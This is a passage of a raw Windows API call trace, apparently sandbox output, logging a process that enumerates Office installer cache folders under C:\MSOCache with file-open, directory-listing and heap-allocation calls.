nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0229.286] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b4 [0229.286] SetFileTime (hFile=0x1b4, lpCreationTime=0x0, lpLastAccessTime=0x15ff404, lpLastWriteTime=0x15ff404) returned 0 [0229.286] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x4000) returned 0x8fb690 [0229.286] DeviceIoControl (in: hDevice=0x1b4, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x8fb690, nOutBufferSize=0x4000, lpBytesReturned=0x15ff45c, lpOverlapped=0x0 | out: lpOutBuffer=0x8fb690, lpBytesReturned=0x15ff45c, lpOverlapped=0x0) returned 0 [0229.286] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8fb690) returned 1 [0229.286] NtClose (Handle=0x1b4) returned 0x0 [0229.286] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f4fe0) returned 1 [0229.286] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f4fe0 [0229.287] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5068 [0229.287] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x8f9ac8 [0229.287] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f4fe0) returned 1 [0229.287] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x8f9bd0 [0229.287] FindFirstFileExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\*", fInfoLevelId=0x1, lpFindFileData=0x15ff20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15ff20c) returned 0x4fd5a0 [0229.366] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xf58ee8d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf6e0ec10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf6e0ec10, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0229.366] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3e02ab00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3e02ab00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf5914a30, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x263400, dwReserved0=0x0, dwReserved1=0x0, cFileName="OneNoteMUI.msi", cAlternateFileName="")) returned 1 [0229.366] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f4fe0 [0229.366] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f4fe0) returned 1 [0229.366] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f4fe0 [0229.366] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f4fe0) returned 1 [0229.366] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f4fe0 [0229.366] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x8f9cd8 [0229.366] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5068) returned 1 [0229.366] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x8f4068 [0229.366] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x8f9de0 [0229.366] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x8f9ee8 [0229.366] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f3990) returned 1 [0229.366] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f4fe0) returned 1 [0229.366] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf58ed930, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x646, dwReserved0=0x0, dwReserved1=0x0, cFileName="OneNoteMUI.xml", cAlternateFileName="")) returned 1 [0229.366] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f4fe0 [0229.366] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f4fe0) returned 1 [0229.366] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f4fe0 [0229.366] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f4fe0) returned 1 [0229.366] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f4fe0 [0229.366] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x8f4088 [0229.366] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x8f9ff0 [0229.366] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f4fe0) returned 1 [0229.366] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x36db9d00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x36db9d00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf5e95540, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x10a5df8, dwReserved0=0x0, dwReserved1=0x0, cFileName="OnoteLR.cab", cAlternateFileName="")) returned 1 [0229.366] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f4fe0 [0229.367] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f4fe0) returned 1 [0229.367] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f4fe0 [0229.367] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f4fe0) returned 1 [0229.367] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f4fe0 [0229.367] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x8f40a8 [0229.367] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x8fa0f8 [0229.367] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f4fe0) returned 1 [0229.367] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf6e0d4a0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x7c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0229.367] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f4fe0 [0229.367] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f4fe0) returned 1 [0229.367] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f4fe0 [0229.367] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f4fe0) returned 1 [0229.367] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f4fe0 [0229.367] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x8f40c8 [0229.367] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x8fa200 [0229.367] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f4fe0) returned 1 [0229.367] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf6e0d4a0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x7c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 0 [0229.367] GetLastError () returned 0x12 [0229.367] FindFirstFileExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\*", fInfoLevelId=0x1, lpFindFileData=0x15ff20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15ff20c) returned 0x4fd460 [0229.367] FindClose (in: hFindFile=0x4fd5a0 | out: hFindFile=0x4fd5a0) returned 1 [0229.368] FindNextFileW (in: hFindFile=0x4fd460, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xf58ee8d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf6e0ec10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf6e0ec10, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0229.368] FindNextFileW (in: hFindFile=0x4fd460, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3e02ab00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3e02ab00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf5914a30, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x263400, dwReserved0=0x0, dwReserved1=0x0, cFileName="OneNoteMUI.msi", cAlternateFileName="")) returned 1 [0229.368] FindNextFileW (in: hFindFile=0x4fd460, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf58ed930, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x646, dwReserved0=0x0, dwReserved1=0x0, cFileName="OneNoteMUI.xml", cAlternateFileName="")) returned 1 [0229.368] FindNextFileW (in: hFindFile=0x4fd460, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x36db9d00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x36db9d00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf5e95540, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x10a5df8, dwReserved0=0x0, dwReserved1=0x0, cFileName="OnoteLR.cab", cAlternateFileName="")) returned 1 [0229.368] FindNextFileW (in: hFindFile=0x4fd460, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf6e0d4a0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x7c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0229.368] FindNextFileW (in: hFindFile=0x4fd460, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf6e0d4a0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x7c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 0 [0229.368] GetLastError () returned 0x12 [0229.368] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f9bd0) returned 1 [0229.368] FindClose (in: hFindFile=0x4fd460 | out: hFindFile=0x4fd460) returned 1 [0229.368] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f9cd8) returned 1 [0229.369] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f9ac8) returned 1 [0229.369] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xa5b30b20, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xa5bc90a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa5bc90a0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90140000-00B4-0409-1000-0000000FF1CE}-C", cAlternateFileName="")) returned 1 [0229.369] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f4fe0 [0229.369] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c"), fInfoLevelId=0x0, lpFileInformation=0x15ff3c0 | out: lpFileInformation=0x15ff3c0*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xa5b30b20, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xa5bc90a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa5bc90a0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0229.629] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1ac [0229.629] SetFileTime (hFile=0x1ac, lpCreationTime=0x0, lpLastAccessTime=0x15ff404, lpLastWriteTime=0x15ff404) returned 0 [0229.629] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x4000) returned 0x8fb690 [0229.629] DeviceIoControl (in: hDevice=0x1ac, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x8fb690, nOutBufferSize=0x4000, lpBytesReturned=0x15ff45c, lpOverlapped=0x0 | out: lpOutBuffer=0x8fb690, lpBytesReturned=0x15ff45c, lpOverlapped=0x0) returned 0 [0229.630] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8fb690) returned 1 [0229.630] NtClose (Handle=0x1ac) returned 0x0 [0229.630] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f4fe0) returned 1 [0229.630] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f4fe0 [0229.630] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5068 [0229.630] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x8f9ac8 [0229.630] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f4fe0) returned 1 [0229.630] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x8f9cd8 [0229.630] FindFirstFileExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\*", fInfoLevelId=0x1, lpFindFileData=0x15ff20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15ff20c) returned 0x4fd460 [0229.832] FindNextFileW (in: hFindFile=0x4fd460, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xa5b30b20, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xa5bc90a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa5bc90a0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0229.832] FindNextFileW (in: hFindFile=0x4fd460, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x308ae9f0, ftCreationTime.dwHighDateTime=0x1cbe56c, ftLastAccessTime.dwLowDateTime=0x308ae9f0, ftLastAccessTime.dwHighDateTime=0x1cbe56c, ftLastWriteTime.dwLowDateTime=0xa5b55ce0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x265400, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProjectMUI.msi", cAlternateFileName="")) returned 1 [0229.832] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f4fe0 [0229.832] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f4fe0) returned 1 [0229.832] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f4fe0 [0229.832] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f4fe0) returned 1 [0229.832] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f4fe0 [0229.832] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x8f9bd0 [0229.832] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5068) returned 1 [0229.832] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x8f40e8 [0229.832] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x8fa308 [0229.832] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f4fe0) returned 1 [0229.832] FindNextFileW (in: hFindFile=0x4fd460, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x30a2b7b0, ftCreationTime.dwHighDateTime=0x1cbe56c, ftLastAccessTime.dwLowDateTime=0x30a2b7b0, ftLastAccessTime.dwHighDateTime=0x1cbe56c, ftLastWriteTime.dwLowDateTime=0xa5b2ebe0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x5ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProjectMUI.xml", cAlternateFileName="")) returned 1 [0229.832] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f4fe0 [0229.832] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f4fe0) returned 1 [0229.832] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f4fe0 [0229.832] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f4fe0) returned 1 [0229.832] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f4fe0 [0229.833] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x8f4108 [0229.833] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x8fa410 [0229.833] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f4fe0) returned 1 [0229.833] FindNextFileW (in: hFindFile=0x4fd460, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x30306de0, ftCreationTime.dwHighDateTime=0x1cbe56c, ftLastAccessTime.dwLowDateTime=0x30306de0, ftLastAccessTime.dwHighDateTime=0x1cbe56c, ftLastWriteTime.dwLowDateTime=0xa5b7cde0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x7e1dcd, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProjLR.cab", cAlternateFileName="")) returned 1 [0229.833] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f4fe0 [0229.833] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f4fe0) returned 1 [0229.833] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f4fe0 [0229.833] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f4fe0) returned 1 [0229.833] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f4fe0 [0229.833] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x8f4128 [0229.833] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x8fa518 [0229.833] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f4fe0) returned 1 [0229.833] FindNextFileW (in: hFindFile=0x4fd460, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x309dfcc0, ftCreationTime.dwHighDateTime=0x1cbe56c, ftLastAccessTime.dwLowDateTime=0x309dfcc0, ftLastAccessTime.dwHighDateTime=0x1cbe56c, ftLastWriteTime.dwLowDateTime=0xa5bc88d0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x750, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0229.833] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f4fe0 [0229.833] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f4fe0) returned 1 [0229.833] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f4fe0 [0229.833] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f4fe0) returned 1 [0229.833] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f4fe0 [0229.833] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x8f4148 [0229.833] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x8fa620 [0229.833] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f4fe0) returned 1 [0229.833] FindNextFileW (in: hFindFile=0x4fd460, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x309dfcc0, ftCreationTime.dwHighDateTime=0x1cbe56c, ftLastAccessTime.dwLowDateTime=0x309dfcc0, ftLastAccessTime.dwHighDateTime=0x1cbe56c, ftLastWriteTime.dwLowDateTime=0xa5bc88d0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x750, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 0 [0229.833] GetLastError () returned 0x12 [0229.833] FindFirstFileExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\*", fInfoLevelId=0x1, lpFindFileData=0x15ff20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15ff20c) returned 0x4fd5a0 [0229.833] FindClose (in: hFindFile=0x4fd460 | out: hFindFile=0x4fd460) returned 1 [0229.834] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xa5b30b20, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xa5bc90a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa5bc90a0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0229.834] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x308ae9f0, ftCreationTime.dwHighDateTime=0x1cbe56c, ftLastAccessTime.dwLowDateTime=0x308ae9f0, ftLastAccessTime.dwHighDateTime=0x1cbe56c, ftLastWriteTime.dwLowDateTime=0xa5b55ce0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x265400, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProjectMUI.msi", cAlternateFileName="")) returned 1 [0229.834] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x30a2b7b0, ftCreationTime.dwHighDateTime=0x1cbe56c, ftLastAccessTime.dwLowDateTime=0x30a2b7b0, ftLastAccessTime.dwHighDateTime=0x1cbe56c, ftLastWriteTime.dwLowDateTime=0xa5b2ebe0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x5ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProjectMUI.xml", cAlternateFileName="")) returned 1 [0229.834] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x30306de0, ftCreationTime.dwHighDateTime=0x1cbe56c, ftLastAccessTime.dwLowDateTime=0x30306de0, ftLastAccessTime.dwHighDateTime=0x1cbe56c, ftLastWriteTime.dwLowDateTime=0xa5b7cde0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x7e1dcd, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProjLR.cab", cAlternateFileName="")) returned 1 [0229.834] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x309dfcc0, ftCreationTime.dwHighDateTime=0x1cbe56c, 